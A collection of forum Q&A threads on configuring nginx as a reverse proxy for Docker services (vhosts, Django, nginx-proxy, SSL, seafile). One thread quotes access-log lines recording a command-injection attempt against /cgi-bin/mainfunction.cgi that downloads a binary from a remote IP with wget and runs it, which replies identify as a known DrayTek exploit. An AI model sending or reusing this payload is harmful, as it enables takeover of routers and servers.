I'm trying to setup multiple servers using Nginx and Docker. For now, I want to make it work locally but I'll export this into to use it in a website. My nginx.conf is:
worker_processes 1;
events { worker_connections 1024; }
http {
client_max_body_size 2048M;
sendfile on;
upstream docker-phpmyadmin {
server phpmyadmin;
}
upstream docker-wordpress {
server wordpress;
}
upstream docker-api {
server api;
}
upstream docker-frontend {
server frontend;
}
server {
listen 80;
server_name example.com;
location / {
proxy_set_header Host $http_host;
proxy_pass http://docker-frontend;
}
}
server {
listen 80;
server_name api.example.com;
location / {
proxy_set_header Host $http_host;
proxy_pass http://docker-api;
}
}
server {
listen 80;
server_name db.example.com;
location / {
proxy_set_header Host $http_host;
proxy_pass http://docker-phpmyadmin;
}
}
server {
listen 80;
server_name admin.example.com;
location / {
proxy_read_timeout 3600;
proxy_set_header Host $http_host;
proxy_pass http://docker-wordpress;
}
}
}
I've added these entries to my /etc/hosts:
127.0.0.1 example.com
127.0.0.1 db.example.com
127.0.0.1 api.example.com
127.0.0.1 admin.example.com
My docker-compose.yml contains:
nginx:
build: ./backend/nginx
links:
- wordpress
- phpmyadmin
- frontend
ports:
- ${NGINX_EXTERNAL_PORT}:80
volumes:
- "./backend/nginx/nginx.conf:/etc/nginx/nginx.conf"
So, locally, NGINX_EXTERNAL_PORT is set to 5000. I can access to db.example.com:5000 and to admin.example.com:5000, but when I try to access to my main page example.com:5000 I get:
nginx_1 | 2019/09/18 21:26:52 [error] 6#6: *8 connect() failed (111: Connection refused) while connecting to upstream, client: 172.18.0.1, server: example.com, request: "GET / HTTP/1.1", upstream: "http://172.18.0.7:80/", host: "example.com:5000"
nginx_1 | 172.18.0.1 - - [18/Sep/2019:21:26:52 +0000] "GET / HTTP/1.1" 502 559 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
Am I missing something on my configuration for that server block? Thanks!
It turned out to be because the application that was in example.com was not exposing any port, so after including EXPOSE 3000 to the Dockerfile and changing the upstream to
upstream docker-frontend{
server frontend:3000;
}
Works!
Related
I'm running nginx with Django on a production server, with the following settings:
# normally you leave this at the default of 1024
events {
worker_connections 1024;
}
http {
# cf http://blog.maxcdn.com/accept-encoding-its-vary-important/
gzip_vary on;
gzip_proxied any;
gzip_types *;
# http://nginx.org/en/docs/http/configuring_https_servers.html#optimization
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 10m;
server_tokens off;
upstream django {
server webapp:8000;
}
# ---------------------------------------------------------------------------
# Production
#
# Use this configuration for a deployment. You'll have to configure SSL.
# ---------------------------------------------------------------------------
#server {
# # rewrite all HTTP to HTTPS
# listen 80;
# server_name ${NGINX_SERVER_NAME};
#
# return 301 https://${NGINX_SERVER_NAME}${DOLLAR}request_uri;
#}
# ---------------------------------------------------------------------------
# Development
#
# You may use this for development. It doesn't use SSL, making it unsafe.
# Remove this setting when moving to production.
# ---------------------------------------------------------------------------
server {
# rewrite all HTTP to HTTPS
listen 80;
server_name ${NGINX_SERVER_NAME};
location /static {
alias /srv/covidoff/static;
# http://stackoverflow.com/q/19213510/1346257
include /etc/nginx/mime.types;
}
location = /robots.txt { return 200 "User-agent: *\nAllow: /"; }
location = /favicon.ico { access_log off; log_not_found off; return 404; }
location / {
uwsgi_pass django;
include uwsgi_params;
}
}
server {
listen 443 ssl default_server;
server_name ${NGINX_SERVER_NAME};
# see http://nginx.org/en/docs/http/configuriNGINX_https_servers.html
ssl_certificate /etc/ssl/certs/${NGINX_CRT_NAME}.crt;
ssl_certificate_key /etc/ssl/private/${NGINX_KEY_NAME}.key;
ssl_prefer_server_ciphers on;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # ie defaults minus SSLv3
location /static {
alias /srv/covidoff/static;
# http://stackoverflow.com/q/19213510/1346257
include /etc/nginx/mime.types;
}
location = /robots.txt { return 200 "User-agent: *\nAllow: /"; }
location = /favicon.ico { access_log off; log_not_found off; return 404; }
location / {
uwsgi_pass django;
include uwsgi_params;
}
}
}
Note: I know that the settings aren't supposed to be like that because it doesn't use HTTPS, but that's what we're using at the moment. It should be fixed later.
One thing that is confusing me is that—given the Docker setup that was provided to me—there are two configuration nginx files, the other one being:
server {
listen 80;
location / {
proxy_pass http://localhost:8000;
proxy_redirect off;
}
}
Worst, is that the docker compose yaml file appears to be pointing to the second file, not the first, but it is the changes that I make to the first that reflect on the server.
version: "3"
volumes:
static-files:
driver: local
postgres:
driver: local
services:
db:
image: postgres:11.1
volumes:
- postgres:/var/lib/postgresql/data/pgdata
env_file:
- ./config/environment/development.env
expose:
- "5432"
webserver:
build: ./nginx
ports:
- "80:80"
- "443:443"
webapp:
build:
context: webapp
volumes:
- ./webapp/covidoff:/srv/covidoff
- static-files:/srv/static-files
ports:
- "8000:8000"
depends_on:
- db
env_file:
- ./config/environment/development.env
You can see the full project here.
Right now I'm not so worried about the server configuration, but it might be important for what I'm about to point out.
After launching (e.g. docker-compose up -d), I see the logs for nginx and they are... Well... Weird.
As you can see from the docker-compose, I have three services running: Django, nginx and Postgres. Using docker logs I see the Django service getting hit quite frequently by requests, but those requests are not showing on the nginx server.
Instead, nginx just shows stuff that I really don't get where it's coming from, such as this request for index.php:
124.156.160.69 - - [02/Apr/2020:18:05:24 +0000] "GET /websql/index.php HTTP/1.1" 502 559 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0" "-"
Or even GET /, since there's no such thing in deployment:
202.52.58.6 - - [02/Apr/2020:18:35:50 +0000] "GET / HTTP/1.1" 502 157 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" "-"
95.70.169.166 - - [02/Apr/2020:19:36:19 +0000] "GET / HTTP/1.1" 400 157 "-" "-" "-"
186.64.111.98 - - [02/Apr/2020:19:36:51 +0000] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1" 400 157 "-" "-" "-"
2020/04/02 20:18:20 [error] 8#8: *2171 connect() failed (111: Connection refused) while connecting to upstream, client: 209.17.97.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8000/", host: "34.242.160.202:80"
209.17.97.2 - - [02/Apr/2020:20:18:20 +0000] "GET / HTTP/1.1" 502 157 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)" "-"
What I need is the normal access.log, with the requests that are hitting django. I don't know what the logs for nginx are showing, or where those requests are coming from.
I the nginx docker container, if I run docker exec -it de807b6ad160 ls /var/log/nginx -la, I get:
lrwxrwxrwx 1 root root 11 Oct 21 19:02 access.log -> /dev/stdout
lrwxrwxrwx 1 root root 11 Oct 21 19:02 error.log -> /dev/stderr
Which means that the log files are empty and (rightfully) being redirected to stdout/stderr.
What am I missing?
Apparently that call to /cgi-bin/mainfunction.cgi is an exploit to create a remote login to your server, I just had the same call, I'm running a different web server, in my case is Apache
200.188.153.18 - - [03/Apr/2020:11:03:34 +0000] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1" 400 0 "-" "-"
The only difference I see is the IP is coming from and the response I'm giving (400)
Yap it's exploit and i find source code named like a "CVE-2020-8515: DrayTek pre-auth remote root RCE"
Check ur system for bad access. Have a nice day!
[1]: https://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html
I have a server that runs ssl (certbot) nginx and points all traffic to port 5555 where my nginx-proxy is running. I'm trying to get it to route all my traffic to the appropriate services.
Here is my docker-compose setup:
nginx-proxy:
container_name: nginx-proxy
image: jwilder/nginx-proxy
ports:
- '5555:80'
networks:
app_net:
ipv4_address: 172.26.111.111 (from subnet 0/24)
environment:
- VIRTUAL_PORT=5555
volumes:
- /var/run/docker.sock:/tmp/docker.sock:ro
- ./nginx/prod/proxy.conf:/etc/nginx/conf.d/proxy.conf:ro
text-rewriter-service:
container_name: text-rewriter-service
build:
context: ./text-rewriter-service
ports:
- '8001:8001'
networks:
app_net:
ipv4_address: 172.26.111.13
environment:
- APP_ENV=prod
- NODE_ENV=production
- PORT=8001
And my nginx proxy.conf file
server {
server_name localhost;
listen 80;
access_log /var/log/nginx/access.log;
listen [::]:80;
# text-rewriter-service
location ~* ^/graphql(/?)(.*)$ {
set $query $2;
proxy_pass http://172.26.111.13:8001$1$query$is_args$args;
}
}
nginx conf in server
server {
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name example.com www.example.com;
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://0.0.0.0:5555;
}
listen [::]:443 ssl ipv6only=on; # managed by Certbot
listen 443 ssl; # managed by Certbot
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; # managed by Certbot
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot
}
I've tried (and failed):
IP with text-rewriter-service:8001
tried changing the server to example.com
tried using VIRTUAL_HOST and VIRTUAL_PORT in the app
tried removing VIRTUAL_PORT from nginx environment
here is nginx output www.example.com 172.26.111.1 - - [08/Dec/2018:01:18:19 +0000] "GET /graphql HTTP/1.0" 503 615 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
possible solution i didn't fully understand how to get to work : https://github.com/jwilder/nginx-proxy/issues/582
I think it's on the server nginx proxy_header I need to change??
I have this problem. I have two web apps running on docker with docker machine and an nginx container for the reverse proxy.
This is my docker-compose.yml file:
networks:
default:
ipam:
config:
- subnet: 10.5.0.0/16
gateway: 10.5.0.1
services:
nginx:
image: nginx:1.13
container_name: nginx
restart: always
ports:
- "80:80"
- "443:443"
volumes:
- ./nginx/conf.d:/etc/nginx/conf.d
- ./nginx/ssl:/etc/nginx/ssl
- ./nginx/html:/usr/share/nginx/html
networks:
default:
ipv4_address: 10.5.0.2
webapp1:
build: webapp1
container_name: webapp1
environment:
- JVM_OPTS=-Xmx12g -Xms12g -XX:MaxPermSize=4096m -XX:+CMSClassUnloadingEnabled -XX:+CMSPermGenSweepingEnabled -XX:+UseConcMarkSweepGC
- CATALINA_OPTS=-Xmx12g -Xms12g -XX:MaxPermSize=4096m -XX:+CMSClassUnloadingEnabled -XX:+CMSPermGenSweepingEnabled -XX:+UseConcMarkSweepGC
- JAVA_OPTS= -Ddb.url=db_url.com -Ddb.port=3306 -Ddb.username=test -Ddb.password=test
ports:
- "8080:8080"
depends_on:
- nginx
networks:
default:
ipv4_address: 10.5.0.3
webapp2:
build: webapp2
container_name: webapp2
environment:
- JVM_OPTS=-Xmx12g -Xms12g -XX:MaxPermSize=4096m -XX:+CMSClassUnloadingEnabled -XX:+CMSPermGenSweepingEnabled -XX:+UseConcMarkSweepGC
- CATALINA_OPTS=-Xmx12g -Xms12g -XX:MaxPermSize=4096m -XX:+CMSClassUnloadingEnabled -XX:+CMSPermGenSweepingEnabled -XX:+UseConcMarkSweepGC
- JAVA_OPTS= -Ddb.url=db_url.com -Ddb.port=3306 -Ddb.username=test -Ddb.password=test
ports:
- "8081:8081"
depends_on:
- nginx
networks:
default:
ipv4_address: 10.5.0.4
And this is my nginx.conf:
server {
# Listen on port 80 and 443
# on both IPv4 and IPv6
listen 80;
listen [::]:80 ipv6only=on;
listen 443 ssl;
listen [::]:443 ipv6only=on ssl;
# if ($scheme = http) {
# return 301 https://$server_name$request_uri;
# }
ssl on;
ssl_certificate /etc/nginx/ssl/nginx-cert.crt;
ssl_certificate_key /etc/nginx/ssl/nginx-cert.key;
ssl_session_timeout 5m;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
location /webapp1 {
proxy_pass https://10.5.0.1:8080/webapp1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
include /etc/nginx/mime.types;
client_max_body_size 20M;
}
location /webapp2 {
proxy_pass https://10.5.0.1:8081/webapp2;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Server $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
include /etc/nginx/mime.types;
client_max_body_size 20M;
}
But Nginx seems not working. The resulting page returns, with url http://localhost/webapp1, a 400 Bad Request The plain HTTP request was sent to HTTPS port.
From url https://localhost/webapp1 I have always a 403 Forbidden.
From nginx logs:
http://localhost/webapp1
nginx | 10.5.0.1 - - [05/Sep/2018:12:31:18 +0000] "GET /webapp1 HTTP/1.1" 400 674 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36" "-" nginx | 10.5.0.1 - - [05/Sep/2018:12:31:18 +0000] "GET /favicon.ico HTTP/1.1" 400 674 "http://localhost/webapp1" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36" "-"
For https://localhost/webapp1:
nginx | 10.5.0.1 - - [05/Sep/2018:12:32:51 +0000] "GET /webapp1 HTTP/1.1" 403 572 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36" "-"
nginx | 2018/09/05 12:32:51 [error] 7#7: *21 SSL_do_handshake() failed (SSL: error:1408F10B:SSL routines:ssl3_get_record:wrong version number) while SSL handshaking to upstream, client: 10.5.0.1, server: , request: "GET /webapp1 HTTP/1.1", upstream: "https://10.5.0.1:8081/webapp1", host: "localhost"
nginx | 2018/09/05 12:32:51 [error] 7#7: *21 open() "/usr/share/nginx/html/50x.html" failed (13: Permission denied), client: 10.5.0.1, server: , request: "GET /webapp1 HTTP/1.1", upstream: "https://10.5.0.1:8081/webapp1", host: "localhost"
nginx | 10.5.0.1 - - [05/Sep/2018:12:32:51 +0000] "GET /favicon.ico HTTP/1.1" 403 572 "https://localhost/webapp1" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36" "-"
With the other web application is the same.
The ssl certificates are self-signed certificates generated with openssl.
Anyone can help me? Really thanks
I wanted to use NGINX as a reverse proxy to forward the request to microservices.
Both NGINX and Microservices are hosted on docker container.
Below is my nginx.conf file
worker_processes 1;
events { worker_connections 1024; }
#test
http {
sendfile on;
# upstream docker-nginx {
# server nginx:80;
# }
upstream admin-portal {
# server admin-portal:9006;
server xx.xx.xx.xx:9006;
# server localhost:9006;
}
server {
listen 8080;
location / {
proxy_pass http://admin-portal;
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Host $server_name;
}
}
}
Dockerfile
FROM nginx
RUN apt-get update && apt-get install -y \
curl
COPY nginx.conf /etc/nginx/nginx.conf
EXPOSE 8080
docker-compose.yml
version: '3'
services:
nginx:
restart: always
build: ../../conf/
volumes:
- ./mysite.template:/etc/nginx/conf.d/mysite.template
ports:
- "8080:8080"
networks:
- cloud
networks:
cloud:
driver: bridge
I am able to access nginx home page by localhost:8080
admin-portal is a microservice running on 9006 port
But if I do localhost:8080/admin-portal/ I am getting below error
nginx_1 | 2018/07/04 07:08:17 [error] 7#7: *1 "/usr/share/nginx/html/admin-portal/index.html" is not found (2: No such file or directory), client: xx.xx.xx.xx, server: your-domain.com, request: "GET /admin-portal/ HTTP/1.1", host: "xx.xx.xx.xx:8080"
nginx_1 | 2018/07/04 07:08:17 [error] 7#7: *1 open() "/usr/share/nginx/html/404.html" failed (2: No such file or directory), client: xx.xx.xx.xx, server: your-domain.com, request: "GET /admin-portal/ HTTP/1.1", host: "xx.xx.xx.xx:8080"
nginx_1 | xx.xx.xx.xx - - [04/Jul/2018:07:08:17 +0000] "GET /admin-portal/ HTTP/1.1" 404 170 "-" "curl/7.47.0"
admin-portal/
Please suggest what changes I need to do to forward the request to admin-portal using nginx
upstream admin-portal {
server 127.0.0.1:9006;
}
it should be :
upstream admin-portal {
server 172.17.0.1:9006;
}
With 172.17.0.1 is ip address gateway of containers.
Or docker inspect containermicroservice_id then get ip address of that container.
upstream admin-portal {
server ipaddressofmicroservicecontainer:9006;
}
Put ip address of server into
server_name localhost ipaddressofserver www.example.com;
then access http://ipaddressofserver:8080/admin-portal
Comment out this part:
#server {
# listen 8080;
# server_name your-domain.com www.your-domain.com;
# root /usr/share/nginx/html;
# index index.html index.htm;
# error_page 404 /404.html;
# error_page 500 502 503 504 /50x.html;
# location = /50x.html {
# root html;
# }
}
Background
I am trying to set up a home server with a bunch of webapps. For now, I am focusing on seafile and a static html page. The server uses Docker and Nginx.
I want to achieve the following behavior:
The address domain-name.eu redirects to the static pages, saying "Welcome to Domain Name".
The address seafile.domain-name.eu redirects to the seafile container.
Problem description
I followed various tutorials on the web on how to set up a docker-compose.yml and the nginx conf to allow nginx to serve different website. I manage to have my seafile working alone behind nginx on the right address, and I manage to have the static page working alone behind nginx on the right address. When I try to mix both, both domain-name.eu and seafile.domain-name.eu serve the static page "Welcome to Domain Name".
Here is my docker-compose.yml:
nginx:
image: nginx
ports:
- 80:80
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
- ./html/:/usr/share/nginx/html
links:
- seafile
seafile:
image: seafileltd/seafile:latest
expose:
- 80
volumes:
- /home/docker/seafile-data:/shared
And my nginx.conf:
http {
upstream seafile {
server seafile;
}
server {
listen 80;
server_name seafile.domain-name.eu;
location /{
proxy_pass http://seafile/;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_cache_bypass $http_upgrade;
}
}
server {
listen 80;
server_name domain-name.eu;
root /usr/share/nginx/html;
index index.html index.htm;
}
}
events {}
When I try to access seafile.domain-name.eu, I receive this log from the nginx container:
nginx_1 | xxx.xxx.xxx.xxx - - [05/Jun/2018:09:44:24 +0000] "GET / HTTP/1.1" 200 22 "http://seafile.domain-name.eu/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
And when I try to access domain-name.eu, I receive this:
nginx_1 | xxx.xxx.xxx.xxx - - [05/Jun/2018:10:07:11 +0000] "GET / HTTP/1.1" 200 22 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
So the address is indeed recognized for the seafile, which helped me eliminating a bad configuration of my DNS as a possible cause. Or am I mistaken?
Can anyone help me troubleshooting the problem?
Thanks.
EDIT: Adding docker ps output:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b6d018169d76 nginx "nginx -g 'daemon of…" About an hour ago Up About an hour 0.0.0.0:80->80/tcp jarvis-compose_nginx_1
7e701ce7650d seafileltd/seafile:latest "/sbin/my_init -- /s…" About an hour ago Up About an hour 80/tcp jarvis-compose_seafile_1
EDIT 2 : the problem was due to a configuration error (see accepted answer) + a residual redirection from my old registrar that was causing weird behavior. Thanks for the help!
Have trying this to run on my local. Found that you've mount wrong nginx config file in the container. nginx.conf should mounted on /etc/nginx/conf.d/default.conf, it's the default config to supporting vhost on nginx. Below are the correct setups:
nginx.conf
upstream seafile {
server seafile;
}
server {
listen 80;
server_name seafile.domain-name.eu;
location /{
proxy_pass http://seafile/;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_cache_bypass $http_upgrade;
}
}
server {
listen 80;
server_name domain-name.eu;
root /usr/share/nginx/html;
index index.html index.htm;
}
docker-compose.yml
version: '3'
services:
nginx:
image: nginx
ports:
- 80:80
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf
- ./html/:/usr/share/nginx/html
links:
- seafile
container_name: web
seafile:
image: seafileltd/seafile:latest
expose:
- 80
volumes:
- /home/docker/seafile-data:/shared
container_name: seafile_server